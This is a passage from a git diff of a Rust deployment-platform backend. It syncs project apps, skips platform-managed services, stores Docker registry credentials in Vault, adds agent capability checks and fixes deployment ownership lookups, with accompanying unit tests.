+    project_id: i32,
+    form: &ProjectForm,
+) -> Result<(), String> {
+    let desired_apps = project_level_apps_from_form(project_id, form);
+    let desired_codes = desired_apps
+        .iter()
+        .map(|app| app.code.clone())
+        .collect::<HashSet<_>>();
+
+    let existing_project_level = db::project_app::fetch_by_project(pool, project_id)
+        .await?
+        .into_iter()
+        .filter(|app| app.deployment_id.is_none())
+        .collect::<Vec<_>>();
+
+    let mut existing_by_code = existing_project_level
+        .iter()
+        .map(|app| (app.code.clone(), app.id))
+        .collect::<HashMap<_, _>>();
+
+    for mut desired_app in desired_apps {
+        if let Some(existing_id) = existing_by_code.remove(&desired_app.code) {
+            desired_app.id = existing_id;
+            desired_app.deployment_id = None;
+            db::project_app::update(pool, &desired_app).await?;
+        } else {
+            db::project_app::insert(pool, &desired_app).await?;
+        }
+    }
+
+    for stale_app in existing_project_level
+        .into_iter()
+        .filter(|app| !desired_codes.contains(&app.code))
+    {
+        db::project_app::delete(pool, stale_app.id).await?;
+    }
+
+    Ok(())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::project_level_apps_from_form;
+    use crate::forms::project::ProjectForm;
+    use serde_json::json;
+
+    #[test]
+    fn project_level_apps_from_form_includes_all_custom_apps() {
+        let form: ProjectForm = serde_json::from_value(json!({
+            "custom": {
+                "custom_stack_code": "sync-project",
+                "project_name": "Sync project",
+                "networks": [
+                    {"id": "net-1", "name": "default_network"}
+                ],
+                "web": [{
+                    "_id": "web-1",
+                    "name": "Website",
+                    "code": "website",
+                    "type": "web",
+                    "custom": true,
+                    "dockerhub_image": "nginx:1.27",
+                    "domain": "example.com",
+                    "restart": "always",
+                    "network": ["net-1"],
+                    "environment": [{"key": "PUBLIC_URL", "value": "https://example.com"}],
+                    "shared_ports": [{"host_port": "80", "container_port": "8080"}],
+                    "volumes": []
+                }],
+                "service": [{
+                    "_id": "svc-1",
+                    "name": "Redis",
+                    "code": "redis",
+                    "type": "service",
+                    "custom": true,
+                    "dockerhub_image": "redis:7-alpine",
+                    "domain": "",
+                    "restart": "unless-stopped",
+                    "network": ["net-1"],
+                    "environment": [],
+                    "shared_ports": [{"host_port": "", "container_port": "6379"}],
+                    "volumes": []
+                }],
+                    "feature": [{
+                        "_id": "feat-1",
+                        "name": "Search",
+                        "code": "search",
+                        "type": "feature",
+                        "custom": true,
+                        "dockerhub_image": "getmeili/meilisearch:v1.12",
+                        "domain": "",
+                        "restart": "always",
+                        "network": ["net-1"],
+                    "environment": [],
+                    "shared_ports": [],
+                    "volumes": []
+                }]
+            }
+        }))
+        .expect("project form should deserialize");
+
+        let apps = project_level_apps_from_form(42, &form);
+        let codes = apps.iter().map(|app| app.code.as_str()).collect::<Vec<_>>();
+
+        assert_eq!(codes, vec!["website", "redis", "search"]);
+        assert_eq!(apps[0].image, "nginx:1.27");
+        assert_eq!(apps[0].domain.as_deref(), Some("example.com"));
+        assert_eq!(apps[0].networks, Some(json!(["default_network"])));
+        assert_eq!(
+            apps[0].environment,
+            Some(json!({"PUBLIC_URL": "https://example.com"}))
+        );
+        assert_eq!(
+            apps[1].ports,
+            Some(json!([{"host_port": "", "container_port": "6379", "protocol": null}]))
+        );
+        assert_eq!(apps[2].restart_policy.as_deref(), Some("always"));
+    }
+
+    #[test]
+    fn project_level_apps_from_form_skips_platform_managed_entries() {
+        let form: ProjectForm = serde_json::from_value(json!({
+            "custom": {
+                "custom_stack_code": "managed-platform",
+                "project_name": "Managed platform",
+                "networks": [],
+                "web": [],
+                "service": [{
+                    "_id": "svc-1",
+                    "name": "Nginx Proxy Manager",
+                    "code": "nginx_proxy_manager",
+                    "type": "service",
+                    "custom": true,
+                    "dockerhub_image": "jc21/nginx-proxy-manager:latest",
+                    "domain": "",
+                    "restart": "unless-stopped",
+                    "network": [],
+                    "environment": [],
+                    "shared_ports": [],
+                    "volumes": []
+                }],
+                "feature": [{
+                    "_id": "feat-1",
+                    "name": "Status Panel",
+                    "code": "statuspanel",
+                    "type": "feature",
+                    "custom": true,
+                    "dockerhub_image": "trydirect/status:dev",
+                    "domain": "",
+                    "restart": "always",
+                    "network": [],
+                    "environment": [],
+                    "shared_ports": [],
+                    "volumes": []
+                }]
+            }
+        }))
+        .expect("project form should deserialize");
+
+        let apps = project_level_apps_from_form(42, &form);
+
+        assert!(apps.is_empty());
+    }
+}
diff --git a/src/project_app/tests.rs b/src/project_app/tests.rs
index 58b0d283..5bb9d4b1 100644
--- a/src/project_app/tests.rs
+++ b/src/project_app/tests.rs
@@ -1,7 +1,10 @@
 use crate::helpers::project::builder::generate_single_app_compose;
 
 use super::mapping::{ProjectAppContext, ProjectAppPostArgs};
-use super::project_app_from_post;
+use super::{
+    is_nginx_proxy_manager_identity, is_platform_managed_app_code,
+    is_platform_managed_app_identity, project_app_from_post,
+};
 use serde_json::json;
 
 /// Example payload from the user's request
@@ -37,6 +40,35 @@ fn example_deploy_app_payload() -> serde_json::Value {
     })
 }
 
+#[test]
+fn platform_managed_app_code_normalizes_common_variants() {
+    assert!(is_platform_managed_app_code("nginx_proxy_manager"));
+    assert!(is_platform_managed_app_code("nginx-proxy-manager"));
+    assert!(is_platform_managed_app_code("/statuspanel"));
+    assert!(!is_platform_managed_app_code("coolify"));
+}
+
+#[test]
+fn platform_managed_app_identity_matches_name_or_image() {
+    assert!(is_platform_managed_app_identity(
+        "nginx_proxy_manager",
+        None
+    ));
+    assert!(is_platform_managed_app_identity(
+        "proxy",
+        Some("jc21/nginx-proxy-manager:latest")
+    ));
+    assert!(is_nginx_proxy_manager_identity(
+        "proxy",
+        Some("jc21/nginx-proxy-manager:latest")
+    ));
+    assert!(is_nginx_proxy_manager_identity("npm", None));
+    assert!(!is_platform_managed_app_identity(
+        "postgres",
+        Some("postgres:16-alpine")
+    ));
+}
+
 #[test]
 fn test_project_app_post_args_from_params() {
     let payload = example_deploy_app_payload();
diff --git a/src/project_app/upsert.rs b/src/project_app/upsert.rs
index 8d77aa1f..60c9da73 100644
--- a/src/project_app/upsert.rs
+++ b/src/project_app/upsert.rs
@@ -2,7 +2,10 @@ use std::sync::Arc;
 
 use crate::services::{ProjectAppService, VaultService};
 
-use super::{merge_project_app, project_app_from_post, store_configs_to_vault_from_params};
+use super::{
+    is_platform_managed_app_code, merge_project_app, project_app_from_post,
+    store_configs_to_vault_from_params,
+};
 
 /// Upsert app config and sync to Vault for deploy_app
 ///
@@ -16,6 +19,14 @@ pub(crate) async fn upsert_app_config_for_deploy(
     parameters: &serde_json::Value,
     deployment_hash: &str,
 ) {
+    if is_platform_managed_app_code(app_code) {
+        tracing::info!(
+            "[UPSERT_APP_CONFIG] Skipping platform-managed app code: {}",
+            app_code
+        );
+        return;
+    }
+
     tracing::info!(
         "[UPSERT_APP_CONFIG] START - deployment_id: {}, app_code: {}, deployment_hash: {}",
         deployment_id,
@@ -23,42 +34,44 @@ pub(crate) async fn upsert_app_config_for_deploy(
         deployment_hash
     );
     tracing::info!(
-        "[UPSERT_APP_CONFIG] Parameters: {}",
-        serde_json::to_string_pretty(parameters).unwrap_or_else(|_| parameters.to_string())
+        "[UPSERT_APP_CONFIG] Parameters summary - has_env: {}, config_files: {}, has_image: {}",
+        parameters.get("env").is_some(),
+        parameters
+            .get("config_files")
+            .and_then(|value| value.as_array())
+            .map(|files| files.len())
+            .unwrap_or(0),
+        parameters.get("image").is_some()
     );
 
     // Resolve the actual deployment record ID from deployment_hash
     // (deployment_id parameter is actually project_id in the current code)
-    let actual_deployment_id = match crate::db::deployment::fetch_by_deployment_hash(
-        pg_pool,
-        deployment_hash,
-    )
-    .await
-    {
-        Ok(Some(dep)) => {
-            tracing::info!(
-                "[UPSERT_APP_CONFIG] Resolved deployment.id={} from hash={}",
-                dep.id,
-                deployment_hash
-            );
-            Some(dep.id)
-        }
-        Ok(None) => {
-            tracing::warn!(
+    let actual_deployment_id =
+        match crate::db::deployment::fetch_by_deployment_hash(pg_pool, deployment_hash).await {
+            Ok(Some(dep)) => {
+                tracing::info!(
+                    "[UPSERT_APP_CONFIG] Resolved deployment.id={} from hash={}",
+                    dep.id,
+                    deployment_hash
+                );
+                Some(dep.id)
+            }
+            Ok(None) => {
+                tracing::warn!(
                 "[UPSERT_APP_CONFIG] No deployment found for hash={}, deployment_id will be NULL",
                 deployment_hash
             );
-            None
-        }
-        Err(e) => {
-            tracing::warn!(
-                "[UPSERT_APP_CONFIG] Failed to resolve deployment for hash={}: {}",
-                deployment_hash,
-                e
-            );
-            None
-        }
-    };
+                None
+            }
+            Err(e) => {
+                tracing::warn!(
+                    "[UPSERT_APP_CONFIG] Failed to resolve deployment for hash={}: {}",
+                    deployment_hash,
+                    e
+                );
+                None
+            }
+        };
 
     // Fetch project from DB
     let project = match crate::db::project::fetch(pg_pool, deployment_id).await {
diff --git a/src/project_app/vault.rs b/src/project_app/vault.rs
index 290e2f1b..d1291a68 100644
--- a/src/project_app/vault.rs
+++ b/src/project_app/vault.rs
@@ -1,7 +1,109 @@
 use crate::configuration::{DeploymentSettings, VaultSettings};
+use crate::forms::project::RegistryForm;
+use crate::forms::status_panel::RegistryAuthCommandRequest;
 use crate::helpers::project::builder::generate_single_app_compose;
 use crate::services::{AppConfig, VaultService};
 
+pub(crate) const REGISTRY_AUTH_VAULT_KEY: &str = "_registry_auth";
+
+pub(crate) fn registry_auth_from_form(
+    registry: &RegistryForm,
+) -> Option<RegistryAuthCommandRequest> {
+    let username = registry.docker_username.as_deref()?.trim();
+    let password = registry.docker_password.as_deref()?.trim();
+    if username.is_empty() || password.is_empty() {
+        return None;
+    }
+
+    let server = registry
+        .docker_registry
+        .as_deref()
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .unwrap_or("docker.io");
+
+    Some(RegistryAuthCommandRequest {
+        registry: server.to_string(),
+        username: username.to_string(),
+        password: password.to_string(),
+    })
+}
+
+pub(crate) fn registry_auth_to_vault_config(
+    auth: &RegistryAuthCommandRequest,
+) -> Result<AppConfig, serde_json::Error> {
+    Ok(AppConfig {
+        content: serde_json::to_string(auth)?,
+        content_type: "application/json".to_string(),
+        destination_path: "/app/.registry-auth.json".to_string(),
+        file_mode: "0600".to_string(),
+        owner: None,
+        group: None,
+    })
+}
+
+pub(crate) fn parse_registry_auth_config(
+    config: &AppConfig,
+) -> Result<RegistryAuthCommandRequest, serde_json::Error> {
+    serde_json::from_str(&config.content)
+}
+
+pub(crate) async fn store_registry_auth_to_vault(
+    deployment_hash: &str,
+    registry: &RegistryForm,
+    vault_settings: &VaultSettings,
+) {
+    let Some(auth) = registry_auth_from_form(registry) else {
+        return;
+    };
+
+    store_registry_auth_command_to_vault(deployment_hash, &auth, vault_settings).await;
+}
+
+pub(crate) async fn store_registry_auth_command_to_vault(
+    deployment_hash: &str,
+    auth: &RegistryAuthCommandRequest,
+    vault_settings: &VaultSettings,
+) {
+    if auth.username.trim().is_empty() || auth.password.trim().is_empty() {
+        return;
+    }
+
+    let vault = match VaultService::from_settings(vault_settings) {
+        Ok(v) => v,
+        Err(e) => {
+            tracing::warn!(
+                "Failed to initialize Vault for registry auth storage: {}",
+                e
+            );
+            return;
+        }
+    };
+
+    let config = match registry_auth_to_vault_config(&auth) {
+        Ok(config) => config,
+        Err(e) => {
+            tracing::warn!("Failed to serialize registry auth for Vault: {}", e);
+            return;
+        }
+    };
+
+    match vault
+        .store_app_config(deployment_hash, REGISTRY_AUTH_VAULT_KEY, &config)
+        .await
+    {
+        Ok(_) => tracing::info!(
+            deployment_hash = %deployment_hash,
+            "Stored registry auth in Vault for later agent pulls"
+        ),
+        Err(e) => tracing::warn!(
+            deployment_hash = %deployment_hash,
+            error = %e,
+            "Failed to store registry auth in Vault"
+        ),
+    }
+}
+
 /// Extract compose content and config files from parameters and store to Vault
 /// Used when deployment_id is not available but config_files contains compose/configs
 /// Falls back to generating compose from params if no compose file is provided
@@ -34,7 +136,7 @@ pub(crate) async fn store_configs_to_vault_from_params(
             let file_name = get_str(file, "name").unwrap_or("");
             let content = get_str(file, "content").unwrap_or("");
 
-            if is_env_filename(file_name) {
+            if is_legacy_env_file(file) {
                 env_content = Some(content.to_string());
                 continue;
             }
@@ -218,6 +320,59 @@ fn is_env_filename(file_name: &str) -> bool {
     matches!(file_name, ".env" | "env")
 }
 
+fn is_legacy_env_file(file: &serde_json::Value) -> bool {
+    let Some(file_name) = get_str(file, "name") else {
+        return false;
+    };
+    if !is_env_filename(file_name) {
+        return false;
+    }
+
+    let destination = get_str(file, "destination_path")
+        .map(str::trim)
+        .filter(|value| !value.is_empty());
+
+    !matches!(
+        destination,
+        Some(path) if path.starts_with("/opt/stacker/deployments/")
+    )
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn registry_auth_from_form_defaults_registry_to_docker_io() {
+        let registry = RegistryForm {
+            docker_username: Some("optimum".to_string()),
+            docker_password: Some("secret".to_string()),
+            docker_registry: None,
+        };
+
+        let auth = registry_auth_from_form(&registry).expect("registry auth should resolve");
+        assert_eq!(auth.registry, "docker.io");
+        assert_eq!(auth.username, "optimum");
+        assert_eq!(auth.password, "secret");
+    }
+
+    #[test]
+    fn registry_auth_vault_config_round_trips() {
+        let auth = RegistryAuthCommandRequest {
+            registry: "docker.io".to_string(),
+            username: "optimum".to_string(),
+            password: "secret".to_string(),
+        };
+
+        let config = registry_auth_to_vault_config(&auth).expect("vault config should serialize");
+        assert_eq!(config.content_type, "application/json");
+        assert_eq!(config.file_mode, "0600");
+
+        let parsed = parse_registry_auth_config(&config).expect("vault config should parse");
+        assert_eq!(parsed, auth);
+    }
+}
+
 fn is_compose_file(file_name: &str, content_type: &str) -> bool {
     if super::is_compose_filename(file_name) {
         return true;
diff --git a/src/routes/agent/audit.rs b/src/routes/agent/audit.rs
index da4807ca..eae14172 100644
--- a/src/routes/agent/audit.rs
+++ b/src/routes/agent/audit.rs
@@ -91,7 +91,7 @@ pub async fn agent_audit_query_handler(
 #[cfg(test)]
 mod tests {
     use super::*;
-    use crate::models::agent_audit_log::{AuditBatchItem, AuditBatchRequest};
+    use crate::models::agent_audit_log::AuditBatchRequest;
 
     #[test]
     fn test_audit_batch_request_deserializes() {
diff --git a/src/routes/agent/enqueue.rs b/src/routes/agent/enqueue.rs
index 8c2262b3..68d4d061 100644
--- a/src/routes/agent/enqueue.rs
+++ b/src/routes/agent/enqueue.rs
@@ -1,11 +1,51 @@
+use crate::configuration::Settings;
 use crate::db;
 use crate::forms::status_panel;
-use crate::helpers::{AgentPgPool, JsonResponse};
+use crate::helpers::{
+    extract_capabilities, has_capability, has_capability_value, AgentPgPool, JsonResponse,
+    NPM_CREDENTIAL_SOURCE_KEY,
+};
 use crate::models::{Command, CommandPriority, User};
+use crate::routes::command::enrich_deploy_app_with_compose;
+use crate::routes::legacy_installations::{resolve_owned_deployment_by_hash, OwnedDeployment};
 use actix_web::{post, web, Responder, Result};
 use serde::Deserialize;
 use std::sync::Arc;
 
+const CONFIGURE_PROXY_CAPABILITY_MODE_ENV: &str = "STACKER_CONFIGURE_PROXY_CAPABILITY_MODE";
+const PIPE_COMMAND_TYPES: &[&str] = &["activate_pipe", "deactivate_pipe", "trigger_pipe"];
+
+#[derive(Clone, Copy, Debug, Eq, PartialEq)]
+enum ConfigureProxyCapabilityMode {
+    Warn,
+    Enforce,
+}
+
+impl ConfigureProxyCapabilityMode {
+    fn from_env() -> Self {
+        Self::from_value(
+            std::env::var(CONFIGURE_PROXY_CAPABILITY_MODE_ENV)
+                .ok()
+                .as_deref(),
+        )
+    }
+
+    fn from_value(value: Option<&str>) -> Self {
+        match value.unwrap_or("warn").trim().to_ascii_lowercase().as_str() {
+            "enforce" | "true" | "1" => Self::Enforce,
+            _ => Self::Warn,
+        }
+    }
+}
+
+fn configure_proxy_requires_vault_capability(capabilities: &[String]) -> bool {
+    has_capability_value(capabilities, NPM_CREDENTIAL_SOURCE_KEY, "vault")
+}
+
+fn command_requires_pipes_capability(command_type: &str) -> bool {
+    PIPE_COMMAND_TYPES.contains(&command_type)
+}
+
 #[derive(Debug, Deserialize)]
 pub struct EnqueueRequest {
     pub deployment_hash: String,
@@ -24,6 +64,7 @@ pub async fn enqueue_handler(
     user: web::ReqData<Arc<User>>,
     payload: web::Json<EnqueueRequest>,
     agent_pool: web::Data<AgentPgPool>,
+    settings: web::Data<Settings>,
 ) -> Result<impl Responder> {
     if payload.deployment_hash.trim().is_empty() {
         return Err(JsonResponse::<()>::build().bad_request("deployment_hash is required"));
@@ -33,44 +74,47 @@ pub async fn enqueue_handler(
         return Err(JsonResponse::<()>::build().bad_request("command_type is required"));
     }
 
-    // Verify deployment belongs to the requesting user
-    let deployment = db::deployment::fetch_by_deployment_hash(
+    let owned_deployment = resolve_owned_deployment_by_hash(
         agent_pool.as_ref(),
+        settings.get_ref(),
+        user.as_ref(),
         &payload.deployment_hash,
     )
-    .await
-    .map_err(|err| JsonResponse::<()>::build().internal_server_error(err))?;
-
-    match &deployment {
-        Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
-        _ => {
-            return Err(JsonResponse::<()>::build().not_found("Deployment not found"));
-        }
-    }
+    .await?;
+    let project_id = project_id_from_owned_deployment(&owned_deployment);
 
     // Validate parameters
     let validated_parameters =
         status_panel::validate_command_parameters(&payload.command_type, &payload.parameters)
             .map_err(|err| JsonResponse::<()>::build().bad_request(err))?;
 
-    // If runtime=kata requested, verify agent supports it
-    if let Some(ref params) = validated_parameters {
-        if params.get("runtime").and_then(|v| v.as_str()) == Some("kata") {
-            let agent = db::agent::fetch_by_deployment_hash(
-                agent_pool.as_ref(),
-                &payload.deployment_hash,
-            )
+    let requires_pipes_capability = command_requires_pipes_capability(&payload.command_type);
+
+    let agent = if payload.command_type == "configure_proxy"
+        || requires_pipes_capability
+        || validated_parameters
+            .as_ref()
+            .and_then(|params| params.get("runtime"))
+            .and_then(|value| value.as_str())
+            == Some("kata")
+    {
+        db::agent::fetch_by_deployment_hash(agent_pool.as_ref(), &payload.deployment_hash)
             .await
             .map_err(|err| {
                 tracing::error!("Failed to fetch agent: {}", err);
                 JsonResponse::<()>::build().internal_server_error(err)
-            })?;
+            })?
+    } else {
+        None
+    };
 
+    // If runtime=kata requested, verify agent supports it
+    if let Some(ref params) = validated_parameters {
+        if params.get("runtime").and_then(|v| v.as_str()) == Some("kata") {
             let has_kata = agent
                 .as_ref()
-                .and_then(|a| a.capabilities.as_ref())
-                .and_then(|c| serde_json::from_value::<Vec<String>>(c.clone()).ok())
-                .map(|caps| caps.iter().any(|c| c == "kata"))
+                .map(|agent| extract_capabilities(agent.capabilities.clone()))
+                .map(|capabilities| has_capability(&capabilities, "kata"))
                 .unwrap_or(false);
 
             if !has_kata {
@@ -81,6 +125,64 @@ pub async fn enqueue_handler(
         }
     }
 
+    if requires_pipes_capability {
+        let capabilities = agent
+            .as_ref()
+            .map(|agent| extract_capabilities(agent.capabilities.clone()))
+            .unwrap_or_default();
+
+        if !has_capability(&capabilities, "pipes") {
+            return Err(JsonResponse::<()>::build().bad_request(
+                "Agent does not support pipe commands. Check agent capabilities at GET /deployments/{hash}/capabilities"
+            ));
+        }
+    }
+
+    if payload.command_type == "configure_proxy" {
+        let capabilities = agent
+            .as_ref()
+            .map(|agent| extract_capabilities(agent.capabilities.clone()))
+            .unwrap_or_default();
+
+        if !configure_proxy_requires_vault_capability(&capabilities) {
+            let message = "Agent does not advertise npm_credential_source=vault. Re-link the Status Panel agent or update the installer before running configure_proxy.";
+            match ConfigureProxyCapabilityMode::from_env() {
+                ConfigureProxyCapabilityMode::Warn => {
+                    tracing::warn!(
+                        deployment_hash = %payload.deployment_hash,
+                        capabilities = ?capabilities,
+                        "configure_proxy queued without Vault capability: {}",
+                        message
+                    );
+                }
+                ConfigureProxyCapabilityMode::Enforce => {
+                    return Err(JsonResponse::<()>::build().bad_request(message));
+                }
+            }
+        }
+    }
+
+    let final_parameters = if payload.command_type == "deploy_app" {
+        enrich_deploy_app_with_compose(
+            &payload.deployment_hash,
+            validated_parameters,
+            &settings.vault,
+            agent_pool.as_ref(),
+            project_id,
+        )
+        .await
+        .map_err(|error| {
+            tracing::error!(
+                deployment_hash = %payload.deployment_hash,
+                error = %error,
+                "Failed to enrich deploy_app command before enqueue"
+            );
+            JsonResponse::<()>::build().internal_server_error(error)
+        })?
+    } else {
+        validated_parameters
+    };
+
     // Generate command ID
     let command_id = format!("cmd_{}", uuid::Uuid::new_v4());
 
@@ -106,7 +208,7 @@ pub async fn enqueue_handler(
     )
     .with_priority(priority.clone());
 
-    if let Some(params) = &validated_parameters {
+    if let Some(params) = &final_parameters {
         command = command.with_parameters(params.clone());
     }
 
@@ -136,7 +238,7 @@ pub async fn enqueue_handler(
     })?;
 
     // Extract runtime for tracing
-    let runtime = validated_parameters
+    let runtime = final_parameters
         .as_ref()
         .and_then(|p| p.get("runtime"))
         .and_then(|v| v.as_str())
@@ -154,3 +256,66 @@ pub async fn enqueue_handler(
         .set_item(Some(saved))
         .created("Command enqueued"))
 }
+
+fn project_id_from_owned_deployment(deployment: &OwnedDeployment) -> Option<i32> {
+    match deployment {
+        OwnedDeployment::Native(deployment) => Some(deployment.project_id),
+        OwnedDeployment::Legacy(_) => None,
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn configure_proxy_capability_mode_defaults_to_warn() {
+        assert_eq!(
+            ConfigureProxyCapabilityMode::from_value(None),
+            ConfigureProxyCapabilityMode::Warn
+        );
+    }
+
+    #[test]
+    fn configure_proxy_capability_mode_accepts_enforce_flag() {
+        assert_eq!(
+            ConfigureProxyCapabilityMode::from_value(Some("enforce")),
+            ConfigureProxyCapabilityMode::Enforce
+        );
+    }
+
+    #[test]
+    fn configure_proxy_requires_vault_capability_marker() {
+        assert!(configure_proxy_requires_vault_capability(&[
+            "npm_credential_source=vault".to_string()
+        ]));
+        assert!(!configure_proxy_requires_vault_capability(&[
+            "status_panel".to_string()
+        ]));
+    }
+
+    #[test]
+    fn pipe_commands_require_pipe_capability() {
+        assert!(command_requires_pipes_capability("activate_pipe"));
+        assert!(command_requires_pipes_capability("deactivate_pipe"));
+        assert!(command_requires_pipes_capability("trigger_pipe"));
+        assert!(!command_requires_pipes_capability("restart"));
+    }
+
+    #[test]
+    fn native_owned_deployment_exposes_project_id_for_deploy_app_enrichment() {
+        let deployment = crate::models::Deployment::new(
+            65,
+            Some("user-1".to_string()),
+            "deployment_test".to_string(),
+            "active".to_string(),
+            "runc".to_string(),
+            serde_json::json!({}),
+        );
+
+        assert_eq!(
+            project_id_from_owned_deployment(&OwnedDeployment::Native(deployment)),
+            Some(65)
+        );
+    }
+}
diff --git a/src/routes/agent/link.rs b/src/routes/agent/link.rs
index 9a116757..99dae5c1 100644
--- a/src/routes/agent/link.rs
+++ b/src/routes/agent/link.rs
@@ -9,6 +9,8 @@ pub struct LinkAgentRequest {
     pub session_token: String,
     pub deployment_id: String,
     pub server_fingerprint: serde_json::Value,
+    #[serde(default)]
+    pub capabilities: Vec<String>,
 }
 
 #[derive(Debug, Serialize)]
@@ -19,6 +21,17 @@ pub struct LinkAgentResponse {
     pub dashboard_url: Option<String>,
 }
 
+fn normalized_status_panel_capabilities(capabilities: &[String]) -> serde_json::Value {
+    let mut normalized = capabilities.to_vec();
+    if !normalized
+        .iter()
+        .any(|capability| capability == "status_panel")
+    {
+        normalized.push("status_panel".to_string());
+    }
+    serde_json::json!(normalized)
+}
+
 /// Generate a secure random agent token (86 characters)
 fn generate_agent_token() -> String {
     use rand::Rng;
@@ -59,25 +72,24 @@ pub async fn link_handler(
         })?;
 
     // 2. Verify user owns the requested deployment
-    let deployment = db::deployment::fetch_by_deployment_hash(
-        api_pool.get_ref(),
-        &payload.deployment_id,
-    )
-    .await
-    .map_err(|e| {
-        helpers::JsonResponse::<LinkAgentResponse>::build()
-            .internal_server_error(format!("Database error: {}", e))
-    })?;
+    let deployment =
+        db::deployment::fetch_by_deployment_hash(api_pool.get_ref(), &payload.deployment_id)
+            .await
+            .map_err(|e| {
+                helpers::JsonResponse::<LinkAgentResponse>::build()
+                    .internal_server_error(format!("Database error: {}", e))
+            })?;
 
     let deployment = deployment.ok_or_else(|| {
-        helpers::JsonResponse::<LinkAgentResponse>::build()
-            .not_found("Deployment not found")
+        helpers::JsonResponse::<LinkAgentResponse>::build().not_found("Deployment not found")
     })?;
 
-    // Check ownership: deployment.user_id must match the authenticated user
-    if deployment.user_id.as_deref() != Some(&profile.email) {
+    // Check ownership: deployment.user_id stores the queue_key (profile.id),
+    // not the email. See UserProfile.id doc comment in types.rs.
+    if deployment.user_id.as_deref() != Some(&profile.id) {
         tracing::warn!(
             user = %profile.email,
+            user_id = %profile.id,
             deployment_user = ?deployment.user_id,
             deployment_hash = %payload.deployment_id,
             "User attempted to link to deployment they don't own"
@@ -91,8 +103,7 @@ pub async fn link_handler(
         db::agent::fetch_by_deployment_hash(agent_pool.as_ref(), &deployment.deployment_hash)
             .await
             .map_err(|e| {
-                helpers::JsonResponse::<LinkAgentResponse>::build()
-                    .internal_server_error(e)
+                helpers::JsonResponse::<LinkAgentResponse>::build().internal_server_error(e)
             })?;
 
     let (agent, agent_token) = if let Some(mut existing) = existing_agent {
@@ -103,11 +114,11 @@ pub async fn link_handler(
 
         // Update system_info with new fingerprint
         existing.system_info = Some(payload.server_fingerprint.clone());
+        existing.capabilities = Some(normalized_status_panel_capabilities(&payload.capabilities));
         let existing = db::agent::update(agent_pool.as_ref(), existing)
             .await
             .map_err(|e| {
-                helpers::JsonResponse::<LinkAgentResponse>::build()
-                    .internal_server_error(e)
+                helpers::JsonResponse::<LinkAgentResponse>::build().internal_server_error(e)
             })?;
 
         // Fetch existing token from Vault or regenerate
@@ -133,15 +144,14 @@ pub async fn link_handler(
         // Create new agent
         let mut agent = models::Agent::new(deployment.deployment_hash.clone());
         agent.system_info = Some(payload.server_fingerprint.clone());
-        agent.capabilities = Some(serde_json::json!(["status_panel"]));
+        agent.capabilities = Some(normalized_status_panel_capabilities(&payload.capabilities));
 
         let agent_token = generate_agent_token();
 
         let saved_agent = db::agent::insert(agent_pool.as_ref(), agent)
             .await
             .map_err(|e| {
-                helpers::JsonResponse::<LinkAgentResponse>::build()
-                    .internal_server_error(e)
+                helpers::JsonResponse::<LinkAgentResponse>::build().internal_server_error(e)
             })?;
 
         // Store token in Vault
@@ -207,3 +217,30 @@ pub async fn link_handler(
         )),
     }))
 }
+
+#[cfg(test)]
+mod tests {
+    use super::normalized_status_panel_capabilities;
+
+    #[test]
+    fn normalizes_status_panel_capabilities_without_duplicates() {
+        let normalized = normalized_status_panel_capabilities(&[
+            "docker".to_string(),
+            "status_panel".to_string(),
+            "npm_credential_source=vault".to_string(),
+        ]);
+
+        let capabilities: Vec<String> =
+            serde_json::from_value(normalized).expect("capability array");
+        assert_eq!(
+            capabilities
+                .iter()
+                .filter(|cap| *cap == "status_panel")
+                .count(),
+            1
+        );
+        assert!(capabilities
+            .iter()
+            .any(|cap| cap == "npm_credential_source=vault"));
+    }
+}
diff --git a/src/routes/agent/login.rs b/src/routes/agent/login.rs
index 93346c31..e1ffba55 100644
--- a/src/routes/agent/login.rs
+++ b/src/routes/agent/login.rs
@@ -50,11 +50,11 @@ pub async fn login_handler(
     user_service: web::Data<Arc<dyn UserServiceConnector>>,
     _req: HttpRequest,
 ) -> Result<HttpResponse> {
-    // 1. Authenticate user against TryDirect OAuth server
-    let auth_base = settings
-        .auth_url
-        .trim_end_matches("/me")
-        .trim_end_matches('/');
+    // 1. Authenticate user against the TryDirect user service.
+    // /auth/login lives at the user-service root, not under /oauth_server/api/,
+    // so we use normalize_user_service_base_url() which strips the full tail.
+    let auth_base =
+        crate::connectors::user_service::plan::normalize_user_service_base_url(&settings.auth_url);
     let login_url = format!("{}/auth/login", auth_base);
 
     let http_client = reqwest::Client::builder()
@@ -114,14 +114,16 @@ pub async fn login_handler(
                 .internal_server_error(format!("Failed to fetch user profile: {}", e))
         })?;
 
-    // 3. Fetch user's deployments from Stacker DB
-    let deployments =
-        db::deployment::fetch_by_user(api_pool.get_ref(), &profile.email, 50)
-            .await
-            .map_err(|e| {
-                helpers::JsonResponse::<AgentLoginResponse>::build()
-                    .internal_server_error(format!("Failed to fetch deployments: {}", e))
-            })?;
+    // 3. Fetch user's deployments from Stacker DB.
+    // deployment.user_id holds the user's cross-service identity (queue_key,
+    // exposed as `_id` on the user service wire), not the email — querying
+    // by email returns zero rows even when the user has deployments.
+    let deployments = db::deployment::fetch_by_user(api_pool.get_ref(), &profile.id, 50)
+        .await
+        .map_err(|e| {
+            helpers::JsonResponse::<AgentLoginResponse>::build()
+                .internal_server_error(format!("Failed to fetch deployments: {}", e))
+        })?;
 
     let deployment_infos: Vec<DeploymentInfo> = deployments
         .into_iter()
@@ -158,7 +160,42 @@ pub async fn login_handler(
 
     Ok(HttpResponse::Ok().json(AgentLoginResponse {
         session_token: access_token,
-        user_id: profile.email,
+        user_id: profile.id,
         deployments: deployment_infos,
     }))
 }
+
+#[cfg(test)]
+mod tests {
+    use crate::connectors::user_service::plan::normalize_user_service_base_url;
+
+    /// Regression test: the production `auth_url` points at the user service
+    /// `/me` endpoint, but `/auth/login` lives at the user-service root, not
+    /// nested under `/oauth_server/api/`. The derivation must strip the full
+    /// `/oauth_server/api/me` tail, not just `/me`.
+    #[test]
+    fn login_url_is_derived_from_me_endpoint_correctly() {
+        let auth_url = "https://dev.try.direct/server/user/oauth_server/api/me";
+        let base = normalize_user_service_base_url(auth_url);
+        let login_url = format!("{}/auth/login", base);
+        assert_eq!(login_url, "https://dev.try.direct/server/user/auth/login");
+    }
+
+    #[test]
+    fn login_url_is_idempotent_when_auth_url_already_points_at_login() {
